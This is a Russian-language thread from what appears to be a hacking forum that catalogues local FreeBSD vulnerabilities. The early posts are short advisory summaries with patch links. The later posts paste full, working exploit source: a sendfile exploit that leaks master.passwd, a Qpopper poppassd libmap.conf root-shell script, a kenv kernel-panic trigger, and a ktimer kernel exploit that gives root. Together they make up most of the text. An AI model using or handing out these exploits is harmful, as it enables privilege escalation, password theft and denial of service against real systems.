• XSS.stack #1 – первый литературный журнал от юзеров форума

Local Уязвимости: FreeBSD

Ŧ1LAN

CPU register
Пользователь
Регистрация
19.12.2005
Сообщения
1 057
Решения
1
Реакции
6
Небезопасное создание временных файлов в редакторе ee в FreeBSD
Программа: FreeBSD 4.x, 5.x, 6.x
Описание:
Уязвимость позволяет локальному пользователю повысить свои привилегии на системе.

Уязвимость существует из-за того, что редактор "ee" создает небезопасным образом временные файлы во время проверки орфографии. Локальный пользователь может с помощью специально сформированный символической ссылки перезаписать произвольные файлы на системе с привилегиями пользователя, запустившего редактор.
Решение: Установите исправление с сайта производителя.

:zns2: производитель
Источник: www.securitylab.ru

Добавлено в [time]1137035991[/time]
Отказ в обслуживании в FreeBSD ipfw
Программа: FreeBSD 6.x
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании МСЭ.

Уязвимость обнаружена в модуле "ipfw" при обработке IP фрагментов. Удаленный пользователь может послать ICMP IP фрагменты, отвечающие действиям "reset", "reject" или "unreach" и аварийно завершить работу межсетевого экрана.
Решение: Установите исправление с сайта производителя.
Patch for FreeBSD 6.0:
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/pa...6:04/ipfw.patch
:zns2: производители
Источник: www.securitylab.ru
 
Отказ в обслуживании модуле netinet в FreeBSD
Программа: FreeBSD 5.3, 5.4
Описание:
Удаленный пользователь может вызвать отказ в обслуживании системы.

Уязвимость существует в реализации алгоритма выборочного подтверждения (SACK - Selective Acknowledgement) при обработке TCP пакетов. Удаленный пользователь может послать уязвимой системе специально сформированные TCP пакеты, вызвать зацикливание TCP/IP стека и потребить все доступные ресурсы на системе. Удачная эксплуатация уязвимости позволит злоумышленнику вызвать отказ в обслуживании системы.

Решение:Установите исправление с сайта производителя.
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/pa...6:08/sack.patch
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/pa.../sack.patch.asc

:zns2: производитель
 
Всё, пора переходить на OpenBSD. Там-то с безопасностью проблем поменьше, а в фряхе один только freebsdsendfilex.c с poppassd-freebsd.sh чего стоит. Сколько тогда взломов было. Сейчас они тоже продолжаются.
 
Код:
/* 
** FreeBSD master.passwd disclosure exploit 
** by kcope in 2005, kingcope[at]gmx.net 
** thanks to revoguard 
** just compile and execute .. look into the kmem file 
** it contains the master.passwd 
** tested on unpatched FreeBSD 4.11-RELEASE 
** advisory: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:02.sendfile.asc 
** +++KEEP PRIV8+++ 
*/ 

#include <sys/types.h> 
#include <sys/socket.h> 
#include <sys/uio.h> 
#include <sys/stat.h> 
#include <stdio.h> 
#include <fcntl.h> 
#include <netinet/in.h> 

#define BUF_SIZ 4096 

void dolisten() { 
int s,c; 
struct sockaddr_in addr; 
struct sockaddr_in cli; 
socklen_t cli_size; 
char buf[BUF_SIZ]; 
FILE *f=fopen("kmem", "w"); 

addr.sin_addr.s_addr = INADDR_ANY; 
addr.sin_port = htons(31337); 
addr.sin_family = AF_INET; 

s = socket(PF_INET, SOCK_STREAM, 0); 
if (bind(s, (struct sockaddr*) &addr, sizeof(addr)) == -1) 
{ 
perror("bind() failed"); 
exit(1); 
} 

listen(s, 3); 

c = accept(s, (struct sockaddr*) &cli, &cli_size); 

while (recv(c, buf, sizeof(buf) - 1, 0) > 0) { 
fwrite(buf, sizeof(buf), 1, f); 
} 

} 

int main() { 
int input_fd,fd,s,k; 
struct stat file_info; 
off_t offset = 0; 
FILE *f; 
int i=0; 
struct sockaddr_in addr; 
char st[]="A"; 

f=fopen("sendfile1", "w"); 
for (i=0; i!=64000000; i++) { 
fwrite(st, 1, 1, f); 
} 
fclose(f); 

input_fd = open ("sendfile1", O_RDWR); 
fstat (input_fd, &file_info); 

if (fork() != 0) { 
sleep(2); 
s = socket(PF_INET, SOCK_STREAM, 0); 

addr.sin_addr.s_addr = INADDR_ANY; 
addr.sin_port = htons(31337); 
addr.sin_family = AF_INET; 

if (connect(s, (struct sockaddr*) &addr, sizeof(addr)) == -1) 
{ 
perror("connect() failed"); 
return 2; 
} 

if (fork() != 0) { 
if (sendfile (input_fd, s, offset, 64000000, NULL, NULL, 0) == -1) { 
perror("sendfile()"); 
return -1; 
} 
} else { 
f=fopen("sendfile1", "w"); 
fclose(f); 
for (k=0;k!=10;k++) 
system("/usr/bin/chsh -s /bin/sh"); 
wait(); 
} 
} else { 
dolisten(); 
wait(); 
} 
return 0; 
}
Код:
#!/bin/sh
###########################################################################
# FreeBSD Qpopper poppassd latest version local r00t exploit by kcope   ###
# tested on FreeBSD 5.4-RELEASE          	###
###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd
HOOKLIB=libutil.so.4

echo ""
echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/libmap.conf ]; then
echo "OOPS /etc/libmap.conf already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
  if (!geteuid()) {
  remove("/etc/libmap.conf");
  execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx; /bin/chmod +xs /tmp/xxxx",NULL);
  }
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/libmap.conf
echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf
su
if [ -f /tmp/xxxx ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/xxxx
else
echo "Sorry, exploit failed."
fi
 
Программа: FreeBSD 6.1, возможно более ранние версии.
Опасность: Низкая
Наличие эксплоита: Нет
Описание:
Уязвимость позволяет локальному пользователю повысить свои привилегии на системе и вызвать отказ в обслуживании.
Целочисленное переполнение буфера обнаружено в функции "ffs_mountfs()". Злоумышленник может смонтировать специально сформированный UFS образ и вызвать отказ в обслуживании или выполнить произвольный код на системе.

URL производителя: www.freebsd.org
Решение: Способов устранения уязвимости не существует в настоящее время.
Источник: http://www.securitylab.ru/bitrix/redirect....ce%2F276499.php
 
Программа: FreeBSD 6.3, возможно более ранние версии

Опасность: Низкая

Наличие эксплоита: Да

Описание:
Уязвимость позволяет локальному пользователю повысить свои привилегии на системе.

Уязвимость существует из-за того, что система использует уязвимый user-ppp код. Подробное описание уязвимости:
http://www.securitylab.ru/vulnerability/348108.php

URL производителя: www.freebsd.org

Решение: Способов устранения уязвимости не существует в настоящее время.
 
Программа: FreeBSD 6.x и 7.0

Опасность: Низкая

Наличие эксплоита: Нет

Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании и скомпрометировать целевую систему.

Множественные целочисленные переполнения обнаружены в функции "strfmon()" в библиотеке libc. Удаленный пользователь может с помощью специально сформированной форматной строки аварийно завершить работу приложения или выполнить произвольный код на системе.

URL производителя: www.freebsd.org

Решение: Способов устранения уязвимости не существует в настоящее время.
 
FreeBSD 7.x (Dumping Environment) Local Kernel Panic Exploit

Цель: FreeBSD 7.x
Воздействие: Отказ в обслуживании

Код:
/* FreeBSD 7.x local kernel panic as mentioned in Errata Notice 09:01
http://security.freebsd.org/advisories/FreeBSD-EN-09:01.kenv.asc,
kokanin@gmail */
#include <kenv.h>
#include <stdio.h>
void main(){
kenv(KENV_DUMP,NULL,123123123,123123123);
}


FreeBSD 7.0/7.1 (ktimer) Local Kernel Root Exploit

Цель: FreeBSD 7.x
Воздействие: Повышение привилегий

Код:
/* bsd-ktimer.c
 *
 * Copyright (c) 2008 by <christer@signedness.org>
 *                       <mu-b@digit-labs.org>
 *
 * FreeBSD >= 7.0 local kernel root exploit
 * by christer/mu-b - Mon 2 June 2008
 *
 * - Tested on: FreeBSD 7.0
 *              FreeBSD 7.1
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!
 */

#define _KERNEL

#include <stdio.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/queue.h>
#include <sys/signalvar.h>
#include <sys/_lock.h>
#include <sys/_mutex.h>
#include <altq/altq.h>
#include <sys/timers.h>

#include <string.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/proc.h>

#define ITPSIZE     0x08000000
#define LOOKUP      0xD0000000

/* some prototypes to prevent compiler bitching */
int ktimer_create(int, int, int *);
int ktimer_delete(int);
int kldsym(int, int, void *);

static void
give_me_root()
{
	struct thread *thread;
	asm("movl %%fs:0,%0": "=r"(thread));
	thread->td_proc->p_ucred->cr_uid=0;
}

int
main (int argc, char **argv)
{
  struct itimer **itp_page, *it_page;
  struct kld_sym_lookup ksym;
  void *zpage[16];
  int i, r;

  printf ("FreeBSD local kernel root exploit\n"
          "by: christer/mu-b\n"
          "http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!\n\n");

  itp_page = mmap (0, ITPSIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON, -1, 0);
  if (itp_page < 0)
    {
      fprintf (stderr, "%s: failed to mmap %d-bytes\n",
                       argv[0], ITPSIZE);
      exit (EXIT_FAILURE);
    }

  printf ("* allocated pointer page: 0x%08X -> 0x%08X [%d-bytes]\n",
          (int) itp_page, (int) itp_page + ITPSIZE, ITPSIZE);

  it_page = mmap (itp_page + ITPSIZE, sizeof (struct itimer),
                  PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON, -1, 0);
  if (it_page < 0)
    {
      fprintf (stderr, "%s: failed to mmap %d-bytes\n",
                       argv[0], sizeof (struct itimer));
      exit (EXIT_FAILURE);
    }

  printf ("* allocated itimer struct: 0x%08X -> 0x%08X [%d-bytes]\n",
          (int) it_page, (int) it_page + sizeof (struct itimer), sizeof (struct itimer));

  printf ("* filling pointer page... ");
  fflush (stdout);

  for (i = 0; i < ITPSIZE / sizeof (struct itimer *); i++)
    itp_page[i] = it_page;
  printf ("done\n");

  ksym.version = sizeof(ksym);
  ksym.symname = "posix_clocks";

  if (kldsym(0,KLDSYM_LOOKUP,&ksym) < 0)
    {
      fprintf (stderr, "%s: failed to lookup posix_clocks\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  printf("* found posix_clocks @ [0x%x]\n",(unsigned )ksym.symvalue);

  for (i = 0; i < 16; i++)
    zpage[i] = (void *) give_me_root;

  memset (it_page,  0, sizeof (struct itimer));
  /* DIRTY REPLACE WITH EXACT STRUCTURE MEMBER */
  for (i = 0; i < 10; i++)
    ((unsigned int *) it_page)[i] = 4;

  it_page->it_flags = 0x00;
  it_page->it_usecount = 0;
  it_page->it_clockid = ((int) &zpage[8] - ksym.symvalue) / 20;

  printf ("* it_page->it_clockid: 0x%08X [access @0x%08X]\n",
           it_page->it_clockid,(unsigned )&zpage[8]);
  printf ("* ktimer_delete (0x%08X)\n", LOOKUP);

  sleep (2);
  ktimer_create (0, 0, &i);
  r = ktimer_delete (LOOKUP);

  printf ("* ktimer_delete: %d %d\n", r, it_page->it_flags);

  return (EXIT_SUCCESS);
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх